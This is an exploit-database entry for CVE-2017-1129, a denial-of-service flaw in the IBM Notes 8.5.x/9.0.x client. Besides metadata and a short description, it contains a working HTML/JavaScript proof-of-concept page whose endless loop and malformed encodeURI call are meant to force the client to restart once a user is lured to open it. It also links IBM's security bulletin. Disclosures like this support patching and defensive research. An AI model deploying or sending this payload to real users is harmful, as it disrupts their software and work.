IBM Notes 8.5.x/9.0.x - Denial of Service



EKU-ID: 6900 CVE: 2017-1129 OSVDB-ID:
Author: Dhiraj Mishra Published: 2017-09-04 Verified: Verified
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# Exploit Title: IBM Notes is affected by a denial of service vulnerability
# Date: 31 August 2017
# Software Link: https://www-01.ibm.com/support/docview.wss?uid=swg24037141
# Exploit Author: Dhiraj Mishra
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-1129
# Category:  IBM Notes (Console Application)
 
 
1. Description
 
IBM Notes is vulnerable to a denial of service involving persuading a user to click on a malicious link, which would ultimately cause the client to have to be restarted.
 
2. Proof of concept
 
<html><head><title></title>
<script type="text/javascript">
while (true) try {
                var object = { };
                function g(f0) {
                        var f0 = (object instanceof encodeURI)('foo');
                }
                g(75);
        } catch (g) { }
</script>
</head></html>
 
 
3. IBM Security Bulletin
 
www-01.ibm.com/support/docview.wss?uid=swg21999385